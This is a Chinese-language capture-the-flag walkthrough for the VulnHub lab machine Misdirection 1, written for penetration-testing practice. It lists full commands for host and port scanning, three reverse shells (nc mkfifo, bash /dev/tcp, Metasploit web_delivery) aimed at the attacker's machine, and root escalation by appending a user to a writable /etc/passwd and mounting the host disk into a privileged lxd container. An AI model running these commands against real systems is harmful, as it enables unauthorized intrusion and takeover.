介绍
系列:Misdirection(此系列共1台)
发布日期:2019 年 9 月 24 日
难度:初级
运行环境:官方推荐Virtualbox,我使用的是VMware
补充:靶机容易被干崩,下手轻点
目标:取得 root 权限
学习:
- 主机发现
- 端口扫描+漏洞扫描
- 反弹shel
- passwd提权
- docker提权
靶机地址:https://www.vulnhub.com/entry/misdirection-1,371/
信息收集
主机发现
netdiscover主机发现
sudo netdiscover -i eth0 -r 192.168.229.0/24
主机信息探测
nmap发现了一些有趣的目录,疑似发现了sql注入,经核实为误报
nmap -p- 192.168.229.137
nmap -p22,80,3306,8080 -A 192.168.229.137
nmap -p22,80,3306,8080 --script=vuln 192.168.229.137
网站探测
80端口常规探测没有发现什么有趣的信息,但是nmap发现了8080端口的一个有趣目录:debug
访问之后如下图,很明显是个命令执行漏洞
反弹shell
介绍3种方法
方式1:使用nc
由于靶机的nc没有-e
参数,可以通过这种方式getshell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.229.128 1234 >/tmp/f
方式2:使用bash
bash -c 'bash -i >& /dev/tcp/192.168.229.128/9999 0>&1'
方式3:使用MSF
通过“Wappalyzer”得知,页面是php的,因此payload类型设置为php
use exploit/multi/script/web_delivery
show options
show targets
set target 1
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.229.128
exploit
sessions -i 1
shell
python -c 'import pty;pty.spawn("/bin/bash")'
复制生成的命令,粘贴到靶机上面,一旦运行,我们就会拿到一个shell,由于靶机是有python的,可以通过python获取一个交互式的shell
提权
sudo提权
通过sudo提权,切换身份为brexit
passwd提权
丢个提权检查脚本,发现/etc/passwd
具有可写权限,可以提权;似乎还可以docker提权
普普通通的passwd文件配置不当提权
openssl passwd -1 -salt hack hack123
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> /etc/passwd
tail /etc/passwd
su hack
hack123
id
docker提权
提权脚本检查到,似乎可以做docker提权,那就试试吧。
- 下载镜像
Linux 容器映像构建可在此处找到:https://us.lxd.images.canonical.com/images。我决定使用 Alpine Linux 映像,找到一个合适的镜像,使用kali全部下载下来
wget --no-parent -r https://us.lxd.images.canonical.com/images/alpine/3.15/amd64/default/20230104_13:00/
cd /us.lxd.images.canonical.com/images/alpine/3.15/amd64/default/20230104_13:00
find . -name '*html*' -delete
tar -cvf alpine.tar ./*
- 投递镜像
kali开启web服务
python -m http.server 80
靶机下载解压
wget http://192.168.229.128/alpine.tar
mkdir alpine
tar -xvf alpine.tar -C alpine
cd alpine
- 手动导入容器映像
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list
lxd init
lxc init alpine alpinect -c security.privileged=true
lxc config device add alpinect pwndisk disk source=/ path=/mnt/root recursive=true
lxc start alpinect
lxc exec alpinect /bin/sh